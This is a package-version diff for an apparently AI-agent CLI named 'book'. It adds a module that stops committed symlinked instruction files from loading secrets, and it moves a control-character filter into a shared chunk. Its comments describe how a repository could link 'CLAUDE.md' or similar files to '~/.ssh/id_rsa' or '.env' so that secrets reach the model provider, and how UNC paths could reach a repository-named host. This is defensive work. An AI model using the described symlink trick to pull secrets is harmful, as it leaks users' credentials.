@letrquan/book 0.2.0 → 0.4.0-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +3771 -40
- package/README.md +135 -1311
- package/dist/additional-roots-VAWRQ625.js +32 -0
- package/dist/{app-MOXXWEOY.js → app-J7BVPSUH.js} +9648 -5509
- package/dist/app-J7BVPSUH.js.map +1 -0
- package/dist/chunk-2AAOF5B5.js +28 -0
- package/dist/chunk-2AAOF5B5.js.map +1 -0
- package/dist/chunk-32WBCUAN.js +660 -0
- package/dist/chunk-32WBCUAN.js.map +1 -0
- package/dist/chunk-4DKHLZRI.js +120 -0
- package/dist/chunk-4DKHLZRI.js.map +1 -0
- package/dist/{chunk-CAGOB2N4.js → chunk-62EEAUID.js} +6 -4
- package/dist/chunk-62EEAUID.js.map +1 -0
- package/dist/chunk-AHC7OU75.js +1124 -0
- package/dist/chunk-AHC7OU75.js.map +1 -0
- package/dist/{chunk-E75IPST5.js → chunk-AJZWLKLQ.js} +73 -70
- package/dist/chunk-AJZWLKLQ.js.map +1 -0
- package/dist/chunk-B5FC3MYZ.js +395 -0
- package/dist/chunk-B5FC3MYZ.js.map +1 -0
- package/dist/{chunk-KWHQ2XXL.js → chunk-DNFQTSMJ.js} +55 -13
- package/dist/chunk-DNFQTSMJ.js.map +1 -0
- package/dist/{chunk-J7MIZ5CA.js → chunk-E5WLQSKA.js} +719 -89
- package/dist/chunk-E5WLQSKA.js.map +1 -0
- package/dist/chunk-ECLC4CIJ.js +1181 -0
- package/dist/chunk-ECLC4CIJ.js.map +1 -0
- package/dist/chunk-EEX6QNXV.js +127 -0
- package/dist/chunk-EEX6QNXV.js.map +1 -0
- package/dist/chunk-EFXVSQ5J.js +931 -0
- package/dist/chunk-EFXVSQ5J.js.map +1 -0
- package/dist/{chunk-V4BOYR52.js → chunk-ENLB7NYV.js} +1304 -326
- package/dist/chunk-ENLB7NYV.js.map +1 -0
- package/dist/chunk-FPR7SKIE.js +6926 -0
- package/dist/chunk-FPR7SKIE.js.map +1 -0
- package/dist/{chunk-DGMQEI6Y.js → chunk-HFB74CLM.js} +30 -9
- package/dist/chunk-HFB74CLM.js.map +1 -0
- package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
- package/dist/chunk-HOZXKOE3.js.map +1 -0
- package/dist/chunk-IDYWN37T.js +36 -0
- package/dist/chunk-IDYWN37T.js.map +1 -0
- package/dist/chunk-J4F2QLM2.js +273 -0
- package/dist/chunk-J4F2QLM2.js.map +1 -0
- package/dist/chunk-JGF5HLSI.js +1065 -0
- package/dist/chunk-JGF5HLSI.js.map +1 -0
- package/dist/{chunk-XIFFTATU.js → chunk-KDNWMKXV.js} +7166 -4237
- package/dist/chunk-KDNWMKXV.js.map +1 -0
- package/dist/chunk-KXAYUIKP.js +90 -0
- package/dist/chunk-KXAYUIKP.js.map +1 -0
- package/dist/{chunk-3U5IBM24.js → chunk-MEOB2DZA.js} +12 -2
- package/dist/chunk-MEOB2DZA.js.map +1 -0
- package/dist/{chunk-WKBO5R4O.js → chunk-MV5PQNIA.js} +2 -2
- package/dist/chunk-MV5PQNIA.js.map +1 -0
- package/dist/chunk-N2G4Q7ME.js +2672 -0
- package/dist/chunk-N2G4Q7ME.js.map +1 -0
- package/dist/chunk-OJBMDM5H.js +299 -0
- package/dist/chunk-OJBMDM5H.js.map +1 -0
- package/dist/{chunk-URLQAXTR.js → chunk-PTDC7ZUP.js} +2 -2
- package/dist/chunk-PTDC7ZUP.js.map +1 -0
- package/dist/{chunk-574C6MQR.js → chunk-REASC2QG.js} +173 -64
- package/dist/chunk-REASC2QG.js.map +1 -0
- package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
- package/dist/chunk-RT5SATF7.js.map +1 -0
- package/dist/chunk-SBTU5BEC.js +114 -0
- package/dist/chunk-SBTU5BEC.js.map +1 -0
- package/dist/{chunk-5KLVH3PY.js → chunk-SWPDKLNM.js} +5 -3
- package/dist/chunk-SWPDKLNM.js.map +1 -0
- package/dist/chunk-UCFJ43OS.js +520 -0
- package/dist/chunk-UCFJ43OS.js.map +1 -0
- package/dist/{chunk-VZQXX3WW.js → chunk-W7SLYS3M.js} +80 -16
- package/dist/chunk-W7SLYS3M.js.map +1 -0
- package/dist/{chunk-ANSJPYGI.js → chunk-WV3O5PGX.js} +3 -3
- package/dist/chunk-WV3O5PGX.js.map +1 -0
- package/dist/chunk-XHAO3K7I.js +18 -0
- package/dist/chunk-XHAO3K7I.js.map +1 -0
- package/dist/chunk-XJRJVXJR.js +1050 -0
- package/dist/chunk-XJRJVXJR.js.map +1 -0
- package/dist/chunk-YIL6HTJX.js +663 -0
- package/dist/chunk-YIL6HTJX.js.map +1 -0
- package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
- package/dist/chunk-ZPSZZUWF.js.map +1 -0
- package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-ZRY66LCW.js} +7 -5
- package/dist/context-C3RAP6K5.js +41 -0
- package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-DPQD5H65.js} +6 -5
- package/dist/index.js +947 -203
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-73AQO5WP.js} +18 -9
- package/dist/interactive-assets-73AQO5WP.js.map +1 -0
- package/dist/job-runner.js +166 -111
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.d.ts +2 -0
- package/dist/job-supervisor.js +121 -0
- package/dist/job-supervisor.js.map +1 -0
- package/dist/loader-DQNPDKOX.js +27 -0
- package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-27LJYADQ.js} +6 -5
- package/dist/{mcp-config-YIJIES2C.js → mcp-config-GXSODNCM.js} +4 -3
- package/dist/memory-store-I6Z54VUN.js +51 -0
- package/dist/{model-window-store-YFVNXCIP.js → model-window-store-6VKXXTPJ.js} +9 -4
- package/dist/openai-compatible-IPUNBJ53.js +16 -0
- package/dist/permission-approvals-Q5IMFEZI.js +15 -0
- package/dist/permissions-7Y35X6HZ.js +62 -0
- package/dist/provider-approvals-5AGH3RVT.js +76 -0
- package/dist/sandbox-N2RY72GN.js +42 -0
- package/dist/{scrollback-LUKLIBVI.js → scrollback-GD76GNM4.js} +44 -26
- package/dist/scrollback-GD76GNM4.js.map +1 -0
- package/dist/sdk.d.ts +2739 -2069
- package/dist/sdk.js +77 -42
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-KDBH45AQ.js +43 -0
- package/dist/settings-loader-KDBH45AQ.js.map +1 -0
- package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
- package/dist/settings-removed-3ATWJEF3.js.map +1 -0
- package/dist/shell-selection-Z5WORZU4.js +31 -0
- package/dist/shell-selection-Z5WORZU4.js.map +1 -0
- package/package.json +25 -24
- package/dist/app-MOXXWEOY.js.map +0 -1
- package/dist/chunk-24AXE6SP.js.map +0 -1
- package/dist/chunk-3U5IBM24.js.map +0 -1
- package/dist/chunk-574C6MQR.js.map +0 -1
- package/dist/chunk-5GDZ22YP.js +0 -449
- package/dist/chunk-5GDZ22YP.js.map +0 -1
- package/dist/chunk-5KLVH3PY.js.map +0 -1
- package/dist/chunk-5RDRAO4B.js.map +0 -1
- package/dist/chunk-7N4J557C.js.map +0 -1
- package/dist/chunk-A7JLBK2Y.js +0 -3506
- package/dist/chunk-A7JLBK2Y.js.map +0 -1
- package/dist/chunk-ANSJPYGI.js.map +0 -1
- package/dist/chunk-BTZZUCLI.js +0 -264
- package/dist/chunk-BTZZUCLI.js.map +0 -1
- package/dist/chunk-C7D4NJ2D.js +0 -217
- package/dist/chunk-C7D4NJ2D.js.map +0 -1
- package/dist/chunk-CAGOB2N4.js.map +0 -1
- package/dist/chunk-DGMQEI6Y.js.map +0 -1
- package/dist/chunk-E75IPST5.js.map +0 -1
- package/dist/chunk-EYGD6X2T.js +0 -180
- package/dist/chunk-EYGD6X2T.js.map +0 -1
- package/dist/chunk-GTVB4HEM.js +0 -765
- package/dist/chunk-GTVB4HEM.js.map +0 -1
- package/dist/chunk-J7MIZ5CA.js.map +0 -1
- package/dist/chunk-KWHQ2XXL.js.map +0 -1
- package/dist/chunk-L6LK2QIQ.js +0 -657
- package/dist/chunk-L6LK2QIQ.js.map +0 -1
- package/dist/chunk-MAQXCUR4.js +0 -1007
- package/dist/chunk-MAQXCUR4.js.map +0 -1
- package/dist/chunk-S4XL7HOM.js +0 -402
- package/dist/chunk-S4XL7HOM.js.map +0 -1
- package/dist/chunk-URLQAXTR.js.map +0 -1
- package/dist/chunk-V4BOYR52.js.map +0 -1
- package/dist/chunk-VZQXX3WW.js.map +0 -1
- package/dist/chunk-WKBO5R4O.js.map +0 -1
- package/dist/chunk-XIFFTATU.js.map +0 -1
- package/dist/context-ZC5IFEAX.js +0 -25
- package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
- package/dist/loader-4IDS2RIE.js +0 -15
- package/dist/openai-compatible-RHZUBHV6.js +0 -10
- package/dist/permission-approvals-76PVREFD.js +0 -14
- package/dist/permissions-CHCKTFQQ.js +0 -28
- package/dist/sandbox-CNVAQDA7.js +0 -23
- package/dist/scrollback-LUKLIBVI.js.map +0 -1
- package/dist/settings-loader-M2QP5TX2.js +0 -21
- package/dist/shell-selection-V6QAYXPX.js +0 -17
- package/patches/ink+6.8.0.patch +0 -13
- package/scripts/apply-ink-patch.mjs +0 -29
- package/scripts/ink-patch.mjs +0 -59
- package/scripts/verify-ink-patch.mjs +0 -11
- /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-VAWRQ625.js.map} +0 -0
- /package/dist/{context-ZC5IFEAX.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
- /package/dist/{hook-approvals-CTUFKEJT.js.map → context-C3RAP6K5.js.map} +0 -0
- /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
- /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-DQNPDKOX.js.map} +0 -0
- /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
- /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-GXSODNCM.js.map} +0 -0
- /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-I6Z54VUN.js.map} +0 -0
- /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
- /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
- /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
- /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
- /package/dist/{settings-removed-JWWPT4WA.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
- /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-N2RY72GN.js.map} +0 -0
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
import {
|
|
2
|
+
isOutside
|
|
3
|
+
} from "./chunk-YIL6HTJX.js";
|
|
4
|
+
import {
|
|
5
|
+
reachesUncPath
|
|
6
|
+
} from "./chunk-EEX6QNXV.js";
|
|
7
|
+
import {
|
|
8
|
+
renderUntrustedText
|
|
9
|
+
} from "./chunk-WV3O5PGX.js";
|
|
10
|
+
|
|
11
|
+
// src/repo-containment.ts
|
|
12
|
+
import { existsSync, realpathSync } from "fs";
|
|
13
|
+
import { homedir } from "os";
|
|
14
|
+
import { basename, dirname, join, parse, relative, resolve } from "path";
|
|
15
|
+
function tryRealPath(path) {
|
|
16
|
+
if (reachesUncPath(path)) return void 0;
|
|
17
|
+
try {
|
|
18
|
+
return realpathSync.native(path);
|
|
19
|
+
} catch {
|
|
20
|
+
}
|
|
21
|
+
try {
|
|
22
|
+
return realpathSync(path);
|
|
23
|
+
} catch {
|
|
24
|
+
return void 0;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
function ancestorsFromRoot(workspace) {
|
|
28
|
+
const dirs = [];
|
|
29
|
+
const root = parse(resolve(workspace)).root;
|
|
30
|
+
let current = resolve(workspace);
|
|
31
|
+
while (true) {
|
|
32
|
+
dirs.push(current);
|
|
33
|
+
if (current === root) break;
|
|
34
|
+
current = dirname(current);
|
|
35
|
+
}
|
|
36
|
+
return dirs.reverse();
|
|
37
|
+
}
|
|
38
|
+
function findRepositoryRoot(dir, home) {
|
|
39
|
+
if (reachesUncPath(dir)) return void 0;
|
|
40
|
+
for (const candidate of ancestorsFromRoot(tryRealPath(dir) ?? resolve(dir)).reverse()) {
|
|
41
|
+
if (existsSync(join(candidate, ".git"))) {
|
|
42
|
+
return isUserHome(candidate, home) ? void 0 : candidate;
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
return void 0;
|
|
46
|
+
}
|
|
47
|
+
function userHomeReal(home) {
|
|
48
|
+
let path = home;
|
|
49
|
+
if (path === void 0) {
|
|
50
|
+
try {
|
|
51
|
+
path = homedir();
|
|
52
|
+
} catch {
|
|
53
|
+
return void 0;
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
return path ? tryRealPath(path) : void 0;
|
|
57
|
+
}
|
|
58
|
+
function samePath(left, right) {
|
|
59
|
+
return relative(left, right) === "";
|
|
60
|
+
}
|
|
61
|
+
function isUserHome(real, home) {
|
|
62
|
+
const homeReal = userHomeReal(home);
|
|
63
|
+
return homeReal !== void 0 && samePath(homeReal, real);
|
|
64
|
+
}
|
|
65
|
+
function ignoresHomeRepository(top, workspace, home) {
|
|
66
|
+
return ignoresRealHomeRepository(
|
|
67
|
+
tryRealPath(top) ?? resolve(top),
|
|
68
|
+
tryRealPath(workspace) ?? resolve(workspace),
|
|
69
|
+
home
|
|
70
|
+
);
|
|
71
|
+
}
|
|
72
|
+
function ignoresRealHomeRepository(topReal, workspaceReal, home) {
|
|
73
|
+
const homeReal = userHomeReal(home);
|
|
74
|
+
return homeReal !== void 0 && samePath(homeReal, topReal) && !samePath(homeReal, workspaceReal);
|
|
75
|
+
}
|
|
76
|
+
function isInGitRepository(workspace, exists = existsSync, home) {
|
|
77
|
+
const start = tryRealPath(workspace) ?? resolve(workspace);
|
|
78
|
+
for (const dir of ancestorsFromRoot(start).reverse()) {
|
|
79
|
+
if (exists(join(dir, ".git"))) return !ignoresRealHomeRepository(dir, start, home);
|
|
80
|
+
}
|
|
81
|
+
return false;
|
|
82
|
+
}
|
|
83
|
+
function homeGitCeiling(home) {
|
|
84
|
+
const homeReal = userHomeReal(home);
|
|
85
|
+
return homeReal !== void 0 && existsSync(join(homeReal, ".git")) ? homeReal : void 0;
|
|
86
|
+
}
|
|
87
|
+
function projectContainmentRoot(workspace, home) {
|
|
88
|
+
return findRepositoryRoot(workspace, home) ?? resolve(workspace);
|
|
89
|
+
}
|
|
90
|
+
function refusalFor(rootReal, fileReal) {
|
|
91
|
+
if (isOutside(rootReal, fileReal)) return "outside";
|
|
92
|
+
if (!basename(fileReal).toLowerCase().endsWith(".md")) return "not-markdown";
|
|
93
|
+
return void 0;
|
|
94
|
+
}
|
|
95
|
+
function formatSkippedNotice(kind, workspace, entry) {
|
|
96
|
+
const workspaceRoot = resolve(workspace);
|
|
97
|
+
const shown = !isOutside(workspaceRoot, entry.path) ? relative(workspaceRoot, entry.path) : entry.path;
|
|
98
|
+
const head = `\u26A0 Skipped ${kind} ${renderUntrustedText(shown, 400)}: it links to ` + renderUntrustedText(entry.target, 400);
|
|
99
|
+
return entry.reason === "not-markdown" ? `${head}, which is not a Markdown (.md) file.` : `${head}, outside ${renderUntrustedText(entry.root, 400)}.`;
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
export {
|
|
103
|
+
tryRealPath,
|
|
104
|
+
ancestorsFromRoot,
|
|
105
|
+
findRepositoryRoot,
|
|
106
|
+
isUserHome,
|
|
107
|
+
ignoresHomeRepository,
|
|
108
|
+
isInGitRepository,
|
|
109
|
+
homeGitCeiling,
|
|
110
|
+
projectContainmentRoot,
|
|
111
|
+
refusalFor,
|
|
112
|
+
formatSkippedNotice
|
|
113
|
+
};
|
|
114
|
+
//# sourceMappingURL=chunk-SBTU5BEC.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/repo-containment.ts"],"sourcesContent":["import { existsSync, realpathSync } from 'fs';\nimport { homedir } from 'os';\nimport { basename, dirname, join, parse, relative, resolve } from 'path';\nimport { renderUntrustedText } from './hook-approvals.js';\nimport { isOutside } from './tools/path-utils.js';\nimport { reachesUncPath } from './unc-path.js';\n\n/**\n * Repository containment for the project files a repository can commit as links (#539, #543):\n * instruction files, REVIEW.md and project command files. A repository can commit any of them as\n * a link to `~/.ssh/id_rsa`, and the target would be sent to the provider as prompt text. Each\n * loader checks the real path of what it found against the real path of the repository root, and\n * reports what it refused through `formatSkippedNotice`. An `@path` mention follows Read's\n * boundary instead (`src/input/input-expansion.ts`, #567). This module imports no loader.\n */\n\n/** Why a project file must not load: its real path left the root, or it is not Markdown. */\nexport type RefusalReason = 'outside' | 'not-markdown';\n\n/** A project file that was not loaded. */\nexport interface SkippedProjectFile {\n /** Where the file was found. */\n path: string;\n /** Its real path. */\n target: string;\n /** The real path of the directory it had to stay inside. */\n root: string;\n reason: RefusalReason;\n}\n\n/**\n * The native real path, else the JS one (`realpathSync.native` throws on some Windows volumes\n * where the JS version works), else `undefined`. Also `undefined`, before anything is resolved,\n * for a Windows path that is, or reaches through a link, a UNC location (`reachesUncPath`), so no\n * containment check sends a request to a host a repository named (#567).\n */\nexport function tryRealPath(path: string): string | undefined {\n if (reachesUncPath(path)) return undefined;\n try {\n return realpathSync.native(path);\n } catch {\n // Fall through to the JS implementation.\n }\n try {\n return realpathSync(path);\n } catch {\n return undefined;\n }\n}\n\n/** `resolve(workspace)` and each directory above it, from the filesystem root down. */\nexport function ancestorsFromRoot(workspace: string): string[] {\n const dirs: string[] = [];\n const root = parse(resolve(workspace)).root;\n let current = resolve(workspace);\n\n while (true) {\n dirs.push(current);\n if (current === root) break;\n current = dirname(current);\n }\n\n return dirs.reverse();\n}\n\n/**\n * The git repository root, as a real path: the nearest directory, walking up the real path of\n * `dir`, with a `.git` entry (a directory, or a file for a linked worktree or a submodule). Like\n * `git rev-parse --show-toplevel`, which starts from the real working directory, so the root\n * always contains the real path of `dir`, and a workspace opened through a link finds the\n * repository it is really in. A linked worktree is its own root, not its main checkout (which\n * `findGitRoot` in `memory-store.ts` maps it to, on purpose, for memory keying). Only stats\n * files; git is never spawned.\n *\n * A `.git` at the real path of `home` (the user's home directory by default, read on every call)\n * is a dotfiles repository, not a project: it is no repository (`undefined`, and the walk stops),\n * so a project under the home directory without its own `.git` is measured as one in no\n * repository, not from the whole home directory. Unlike the git consumers'\n * {@link ignoresHomeRepository}, this holds for `dir` being the home directory too: a file found\n * in the home directory while the workspace is in a repository of its own is the user's, not\n * checked against the home directory (`claude-md.ts`).\n */\nexport function findRepositoryRoot(dir: string, home?: string): string | undefined {\n // Its ancestors are probed for `.git` below, which would reach the share as well.\n if (reachesUncPath(dir)) return undefined;\n for (const candidate of ancestorsFromRoot(tryRealPath(dir) ?? resolve(dir)).reverse()) {\n if (existsSync(join(candidate, '.git'))) {\n return isUserHome(candidate, home) ? undefined : candidate;\n }\n }\n return undefined;\n}\n\n/**\n * The real path of `home`, the user's home directory when not given (read on every call, from\n * `USERPROFILE` on Windows), or `undefined` when there is none or it does not resolve.\n */\nfunction userHomeReal(home: string | undefined): string | undefined {\n let path = home;\n if (path === undefined) {\n try {\n path = homedir();\n } catch {\n return undefined;\n }\n }\n return path ? tryRealPath(path) : undefined;\n}\n\n/** Whether two paths name the same directory, ignoring case where the platform does (Windows). */\nfunction samePath(left: string, right: string): boolean {\n return relative(left, right) === '';\n}\n\n/** Whether the real path `real` is that of `home`, the user's home directory when not given. */\nexport function isUserHome(real: string, home: string | undefined): boolean {\n const homeReal = userHomeReal(home);\n return homeReal !== undefined && samePath(homeReal, real);\n}\n\n/**\n * The home-directory rule for the repository a workspace is in (#567, #579): whether the\n * repository whose top directory git or a `.git` walk found at `top`, starting from `workspace`,\n * is a dotfiles repository to ignore. It is when `top` is the user's home directory (`home` when\n * given) and `workspace` is not, which is a project below the home directory with no `.git` of its\n * own (the walk would have stopped there). A workspace that is the home directory itself is in\n * that repository. Both paths are compared as real paths, as `isUserHome` does.\n *\n * This is the rule git applies to Book's own calls through {@link homeGitCeiling}, for the\n * callers that decide without git: the prompt's git line and the TUI status poll\n * ({@link isInGitRepository}), and managed-agent isolation. Containment (`findRepositoryRoot`)\n * asks about every directory a file was found in, the home directory among them, so it keeps its\n * own rule: a `.git` at the home directory is never a repository there.\n */\nexport function ignoresHomeRepository(top: string, workspace: string, home?: string): boolean {\n return ignoresRealHomeRepository(\n tryRealPath(top) ?? resolve(top),\n tryRealPath(workspace) ?? resolve(workspace),\n home,\n );\n}\n\n/** {@link ignoresHomeRepository} for paths that are already real. */\nfunction ignoresRealHomeRepository(topReal: string, workspaceReal: string, home?: string): boolean {\n const homeReal = userHomeReal(home);\n return (\n homeReal !== undefined && samePath(homeReal, topReal) && !samePath(homeReal, workspaceReal)\n );\n}\n\n/**\n * Whether `workspace` is in a git repository, for the callers that decide without spawning git:\n * the prompt's git line (`context.ts`) and the TUI status poll (`useGitStatus.ts`). The nearest\n * directory with a `.git` entry (a directory, or a file for a linked worktree or a submodule),\n * walking up the real path of `workspace`, as git does from the working directory it is started\n * in, so a workspace opened through a link is answered for the repository it is really in; under\n * the home-directory rule ({@link ignoresHomeRepository}), which Book's git applies too\n * ({@link homeGitCeiling}). Only stats files. `exists` is the probe, replaceable in tests.\n */\nexport function isInGitRepository(\n workspace: string,\n exists: (path: string) => boolean = existsSync,\n home?: string,\n): boolean {\n const start = tryRealPath(workspace) ?? resolve(workspace);\n for (const dir of ancestorsFromRoot(start).reverse()) {\n // An ancestor of a real path is a real path, so it is compared as it is.\n if (exists(join(dir, '.git'))) return !ignoresRealHomeRepository(dir, start, home);\n }\n return false;\n}\n\n/**\n * The `GIT_CEILING_DIRECTORIES` entry Book's own git calls carry (`hardenedGitEnv`): the real path\n * of the user's home directory (`home` when given) when it holds a `.git`, else `undefined`, so a\n * repository above a home directory without one is still found. Git never stops at the directory\n * it starts in, so a workspace that is the home directory still finds its repository, while a\n * project below it with no `.git` of its own finds none: {@link ignoresHomeRepository}, applied\n * by git. A real path, so the entry matches whether or not the list starts with the empty entry\n * that turns off git's own resolution of the entries after it.\n */\nexport function homeGitCeiling(home?: string): string | undefined {\n const homeReal = userHomeReal(home);\n return homeReal !== undefined && existsSync(join(homeReal, '.git')) ? homeReal : undefined;\n}\n\n/** The directory project files are measured from: the repository root, else the workspace. */\nexport function projectContainmentRoot(workspace: string, home?: string): string {\n return findRepositoryRoot(workspace, home) ?? resolve(workspace);\n}\n\n/**\n * Why a project file must not load: its real path leaves `rootReal`, or it is not Markdown. The\n * second check is what stops a link to a secret inside the repository (`CLAUDE.md -> .env`,\n * `-> .book/settings.local.json`); a regular `CLAUDE.md`, `REVIEW.md` or command file always\n * passes it.\n */\nexport function refusalFor(rootReal: string, fileReal: string): RefusalReason | undefined {\n if (isOutside(rootReal, fileReal)) return 'outside';\n if (!basename(fileReal).toLowerCase().endsWith('.md')) return 'not-markdown';\n return undefined;\n}\n\n/**\n * The one-line start-up warning for a skipped file, `kind` being what it is (\"project\n * instructions\", \"project command\", \"review instructions\"). The path is shown relative to the\n * workspace when it is inside it. The target and the names along the way are\n * repository-authored: no control characters.\n */\nexport function formatSkippedNotice(\n kind: string,\n workspace: string,\n entry: SkippedProjectFile,\n): string {\n const workspaceRoot = resolve(workspace);\n const shown = !isOutside(workspaceRoot, entry.path)\n ? relative(workspaceRoot, entry.path)\n : entry.path;\n const head =\n `⚠ Skipped ${kind} ${renderUntrustedText(shown, 400)}: it links to ` +\n renderUntrustedText(entry.target, 400);\n return entry.reason === 'not-markdown'\n ? `${head}, which is not a Markdown (.md) file.`\n : `${head}, outside ${renderUntrustedText(entry.root, 400)}.`;\n}\n"],"mappings":"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","names":[]}
|
|
@@ -1,6 +1,9 @@
|
|
|
1
|
+
import {
|
|
2
|
+
CONTROL_CHARACTERS
|
|
3
|
+
} from "./chunk-2AAOF5B5.js";
|
|
1
4
|
import {
|
|
2
5
|
updateWorkspaceTrust
|
|
3
|
-
} from "./chunk-
|
|
6
|
+
} from "./chunk-HFB74CLM.js";
|
|
4
7
|
|
|
5
8
|
// src/command-approvals.ts
|
|
6
9
|
import { createHash } from "crypto";
|
|
@@ -80,7 +83,6 @@ var ProjectCommandApprovalError = class extends Error {
|
|
|
80
83
|
};
|
|
81
84
|
var MAX_LISTED_COMMANDS = 5;
|
|
82
85
|
var MAX_COMMAND_CHARS = 160;
|
|
83
|
-
var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f\u0085\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
|
|
84
86
|
function displayable(command) {
|
|
85
87
|
const flattened = command.replace(CONTROL_CHARACTERS, " ").trim();
|
|
86
88
|
return flattened.length > MAX_COMMAND_CHARS ? `${flattened.slice(0, MAX_COMMAND_CHARS)}\u2026` : flattened;
|
|
@@ -164,4 +166,4 @@ export {
|
|
|
164
166
|
